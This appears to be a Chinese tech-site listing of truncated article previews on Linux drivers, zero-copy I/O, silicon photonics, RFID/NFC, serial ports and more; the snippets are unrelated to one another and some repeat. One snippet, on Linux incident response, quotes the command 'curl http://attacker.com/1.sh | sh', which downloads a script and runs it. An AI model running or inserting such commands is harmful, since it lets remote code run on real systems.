作者:Hcamael@知道创宇404实验室 日期:2022年11月16日 相关阅读:
mfd是Multifunction device的简称,即多功能设备,是许多有共性的设备的集合,mfd由核心层(core)以及其下的“子设备”组成。从下文将会看到,mfd只是将设备注册到platform总线——因此,其子设备属于platform设备。它并没有对涉及到的设备或驱动做实质性改变。但是,因为某些设备的共性,所以可以在mfd中提供共同的函数给其下子设备进行调用。
注:本文仅用于知识分享,请勿用于非法攻击,任何后果与本团队无关。 01 简介 在进行Linux系统的攻击应急时,大家可能会查看pid以及/proc相关信息,比如通过/proc/$pid/cmdline查看某个可疑进程的启动命令,通过/proc/$pid/exe抓样本等,但是攻击者是否会通过某种类似于curl http://attacker.com/1.sh | sh的方法来执行elf二进制文件呢?最近看了一篇@MagisterQuis写的文章https://magisterquis.githu
在 18 年 11 月底时,我写了一篇文章 《runc 1.0-rc6 发布之际》 。如果你还不了解 runc 是什么,以及如何使用它,请参考我那篇文章。本文中,不再对其概念和用法等进行说明。
从字面意思理解就是数据不需要来回的拷贝,大大提升了系统的性能;这个词我们也经常在java nio,netty,kafka,RocketMQ等框架中听到,经常作为其提升性能的一大亮点;下面从I/O的几个概念开始,进而在分析零拷贝。
这篇笔记分享一篇光栅耦合器的最新进展,IMEC与Ghent大学的研究小组在硅光芯片背面加工出微透镜(microlens), 将光场的MFD提高到32um, 其1dB的对准容差可以提高到±7um,为硅光
点击上方蓝色“程序猿DD”,选择“设为星标” 回复“资源”获取独家整理的学习资料! 作者 | ksfzhaohui 来源 | https://juejin.im/post/6844903815913668615 前言 从字面意思理解就是数据不需要来回的拷贝,大大提升了系统的性能;这个词我们也经常在java nio,netty,kafka,RocketMQ等框架中听到,经常作为其提升性能的一大亮点;下面从I/O的几个概念开始,进而在分析零拷贝。 I/O概念 1.缓冲区 缓冲区是所有I/O的基础,I/O讲的
作者 | ksfzhaohui 来源 | https://juejin.cn/post/6844903815913668615 前言 从字面意思理解就是数据不需要来回的拷贝,大大提升了系统的性能;这个词我们也经常在java nio,netty,kafka,RocketMQ等框架中听到,经常作为其提升性能的一大亮点;下面从I/O的几个概念开始,进而在分析零拷贝。 I/O概念 1.缓冲区 缓冲区是所有I/O的基础,I/O讲的无非就是把数据移进或移出缓冲区;进程执行I/O操作,就是向操作系统发出请求,让它要么把
文章的最开始,先来致敬RadioWar。一直手痒RFID这个领域,准备了一段时间,开始入门RFID。 先来普及一下基础知识: RFID即为射频识别。NFC近场通信。很多人把NFC和RFID混为一谈,但实际上NFC可以理解为“以RFID技术为基础的一种产品”。 RFID技术中所衍生的产品大概有三大类:无源RFID产品、有源RFID产品、半有源RFID产品。根据RFID Tag的工作方式,有可分为被动,主动、半主动三种。最常见的就是被动式的了。我们目前接触的多的就是无源、被动式产品,其中最为广泛常见的就是MI
Java提供的MappedByteBuffer底层实现靠的是mmap技术,当然这里指的是Linux平台,因此建议大家先了解一下mmap在Linux上的实现原理,然后在来阅读本篇文章:
这两天正好在研究一个通过MTP模式拷贝文件到手机速度慢的问题,顺便把整个MTP架构学了一遍,所以写一篇文章记录并分享一下。
上一篇笔记 光栅耦合器 主要介绍了光栅耦合器的基本原理与优化方案,这一篇笔记介绍另外一种常用的耦合器——端面耦合器 (edge coupler)。
本文适用于CentOS 6.4, CentOS 6.5,估计也适用于其他Linux发行版。
(本文为前一篇文章《理解编程语言只需四个词-编程知识体系介绍(带python及scratch案例)》的说明案例之一)
下载并配置好JAVA(JAVA_HOME、CLASSPATH、PATH),CMD中要能使用javah命令。
内核中驱动部分维护者针对每个种类的驱动设计一套成熟的、标准的、典型的驱动实现,并把不同厂家的同类硬件驱动中相同的部分抽出来自己实现好,再把不同部分留出接口给具体的驱动开发工程师来实现,这就叫驱动框架。
NFC是Near Field Communication缩写,即近距离无线通讯技术。由飞利浦公司和索尼公司共同开发的NFC是一种非接触式识别和互联技术,可以在移动设备、消费类电子产品、PC和智能控件工具间进行近距离无线通信。NFC功能提供了一种简单、触控式的解决方案,可以让消费者简单直观地交换信息、访问内容与服务。
前段时间因为工作需要研究了一下android的串口通信,网上有很多讲串口通信的文章,我在做的时候也参考了很多文章,现在就将我学习过程中的一些心得分享给大家,由于串口开发涉及到jni,所以开发环境需要支持ndk开发,如果未配置ndk配置的朋友,或者对jni不熟悉的朋友,请查看上一篇文章,android 串口开发第一篇:搭建ndk开发环境以及第一个jni调用程序 ,串口通信和java操作io类似,先打开串口,然后向串口发送或者读取数据,最后关闭串口,所以基本思路就是:
Searching in massive collections of digitized printed scientific documents with queries that are mathematical expressions is a research area scarcely explored. To address this problem, a crucial first step involves the detection of regions that may contain mathematical expressions. This contest aims to tackle this problem and thus, provide several reasons that could be interesting for attracting research groups to participate in this competition:
近日,网曝复旦大学某吕姓博士论文数据造假,同门师弟无法重复数据。本文仅限转载,而且此事已过去10年之久,为何此时曝出,尚有疑问,具体调查结果以官方为准。
前一篇笔记 硅光芯片的光源 提到通常将III-V族LD直接倒装焊到SOI芯片上,但是该方法对贴装的精度要求较高,需要花费较多的时间进行对准调节。本篇笔记主要介绍一种新的解决方案,用于解决贴装对准的问题。
Intel在其2022年的创新大会上,展示了其硅光CPO采用的新型可插拔光学连接器,小豆芽这里做一点简单介绍。
RS-232是美国电子工业联盟(EIA)制定的串行数据通信的接口标准,原始编号全称是EIA-RS-232(简称232,RS232)。它被广泛用于计算机串行接口外设连接。 RS-232C标准,其中EIA(Electronic Industry Association)代表美国电子工业联盟,RS(Recommended standard)代表推荐标准,232是标识号,C代表RS232的第三次修改(1969年),在这之前,还有RS232B、RS232A. 在RS-232标准中,字符是以一串行的比特串来一个接一个的串列(serial)方式传输,优点是传输线少,配线简单,发送距离可以较远。 最常用的编码格式是异步起停(asynchronous start-stop)格式,它使用一个起始比特后面紧跟7或8个数据比特(bit),然后是可选的奇偶校验比特,最后是一或两个停止比特。所以发送一个字符至少需要10比特,带来的一个好的效果是使全部的传输速率,发送信号的速率以10划分。
作者: Dimitrios Michail, Lefki-Ioanna Panagiotou, Charalampos Davalas, Ioannis Prapas, Spyros Kondylatos, Nikolaos Ioannis Bountos, Ioannis Papoutsis
触摸屏作为嵌入式产品中常用的交互设备,具有交互直观,编程简易等特点,本系列文章将以多种角度分析如何选择合适的触摸屏方案及常见的故障解决方法。本文主题为电阻屏的驱动组成以及多数触摸屏的异常分析。
缓冲区是所有 I/O 的基础,I/O 讲的无非就是把数据移进或移出缓冲区;进程执行 I/O
想写这个系列很久了,对自己也是个总结与提高。原来在学JAVA时,那些JAVA入门书籍会告诉你一些规律还有法则,但是用的时候我们一般很难想起来,因为我们用的少并且不知道为什么。知其所以然方能印象深刻并学以致用。
Intel与IBM在硅光领域深耕了多年,Intel已经推出了基于硅光的PSM4和CWDM4产品。目前IBM还没有硅光相关的产品问世,但是经常可以看到其技术进展报道。这篇笔记主要介绍下蓝色巨人的硅光封装
PetaLinux编译Microblaze的U-Boot时,遇到下列错误 ,链接时提示找不到相关函数。
我们知道,要读取一个类代码,或读取类里的方法代码,都需要打开Dex文件,然后按前面介绍的格式去分析,并且读取出相应的内容,才可以给虚拟机进行解释执行。现在,我们就来学习和分析Dex文件的读取相关的代码。如下:
我们知道,在移交光纤建设相关项目时,需要进行某种形式的测试和认证。只有这样,才能确认光纤建设工程的正确完成,并尽可能准确地衡量光纤链路是否符合设计规范。
光纤纤芯和包层是由不同折射率的玻璃组成,中心为高折射率玻璃纤芯(掺锗二氧化硅),中间为低折射率硅玻璃包层(纯二氧化硅)。光以一特定的入射角度射入光纤,在光纤和包层间发生全发射(由于包层的折射率稍低于纤芯),从而可以在光纤中传播。涂覆层的主要作用是保护光纤不受外界的损伤,同时又增加光纤的柔韧性。正如前面所述,纤芯和包层都是玻璃材质,不能弯曲易碎,涂覆层的使用则起到保护并延长光纤寿命的作用。
转载请注明原文地址:http://wiki.100ask.org/Linux_devicetree
上次在自己的博客项目上尝试了Python3.7的beta版之后,意识到Celery因为惯性还是不能兼容3.7,所以不在做升级的打算。直到前不久开始弄一个简单的内部社区,针对购买视频的同学。这也是个人项目,所以激进点没什么关系。
看门狗是linux驱动的一个重要环节。某些特殊的设备,有时候需要放在一些环境恶劣的地方,比如电信设备。但是,任何软件都不可能100%没有bug。如何保证软件在遇到严重bug、死机的时候也能正常运行呢,那么看门狗就是有效的一种方法。看门狗一般要求用户定时喂狗,如果一段时间没有喂狗的话,那么系统就会自动重启。今天,我们就来看看这个看门狗驱动怎么编写?
随着光通信超高速、集成方向的发展,光收发模块也希望采用体积更小、集成度更高的方案,并行高速光组件的需求量高速增长。FA光纤阵列对材料和加工工艺要求非常高,导致成本高, 在10G速率中并没有得到大范围的应用。随着400G、800G的高速传输的快速推进,高密度、小体积的FA可以说是更加理想的方案。
10.2 访问方法 10.2.1 顺序访问 最为简单的访问方式是顺序访问。文件信息按顺序,一个记录接着一个记录地加以处理。这种访问模式最为常用,例如,编辑器和编译器通常按这种方式访问文件。 基于磁带模型 10.2.2 直接访问 另一方式是直接访问(或相对访问)。文件由固定长度的逻辑记录组成,以允许程序按任意顺序进行快速读和写。直接访问方式是基于文件的磁盘模型,这是因为磁盘允许对任意文件块进行随机读和写。对直接访问,文件可作为块或记录的编号序列。因此,可先读取块14,再读块53
之前看过一段时间Android property源码,发现其中对共享内存的使用方式挺优秀,对于实际的工作开发也有借鉴意义。于是乎参考其设计思想,个人用C++也完成一篇共享内存的使用代码。共享内存的使用可参考进程间通信 共享内存, 本篇记录一种比较优雅的共享内存使用方式。
概念图如下, 我们可以看到数据流的方向是 父进程写描述符fd[1]--管道--子进程读描述符fd[0], 即,我们刚刚所说的半双工设计:
自从ARM引入的dts之后,bsp驱动代码产生了非常之大的变化,像在linux-2.6.32这些版本的platform驱动中,会存在大量类似一下的代码:
最近有些网友看了我之前的博客之后,向我要虚拟显示器的bin文件,由于之前代码是绑定在VDI下的,没有单独的虚拟显示器代码,所以抽空提取了下相关代码,单独编译。
转载请出名出处 : http://blog.csdn.net/shulianghan/article/details/38636827
转自蜗窝科技:http://www.wowotech.net/pm_subsystem/regulator_driver.html 说实话,这篇好难懂啊。。。 1. 前言 本文从regulator driver的角度,描述怎样基于regulator framework编写regulator驱动。同时,以此为契机,学习、理解regulator有关的物理特性,以便能够更好的使用它们。 2. regulator driver的实现步骤 2.1 确定系统中regulator有关的硬件组成 提起硬件,最好能有个
Linux阅码场内核月报栏目,是汇总当月Linux内核社区最重要的一线开发动态,方便读者们更容易跟踪Linux内核的最前沿发展动向。
所谓光栅,就是通过一定的微加工手段,使得材料的折射率满足一定的分布,从而实现对光操控的一类光器件。典型的光栅结构,示意图如下,
内核Documentation\devicetree\bindings\interrupt-controller\interrupts.txt
这篇笔记整理下硅光芯片的耦合封装方案。硅光芯片的耦合器主要分端面耦合和光栅耦合两种,对应的封装方案可谓五花八门,这里选取一些典型的方案。Intel选取了片上异质集成激光器的方案,因而不存在耦合封装这一问题。
领取专属 10元无门槛券
手把手带您无忧上云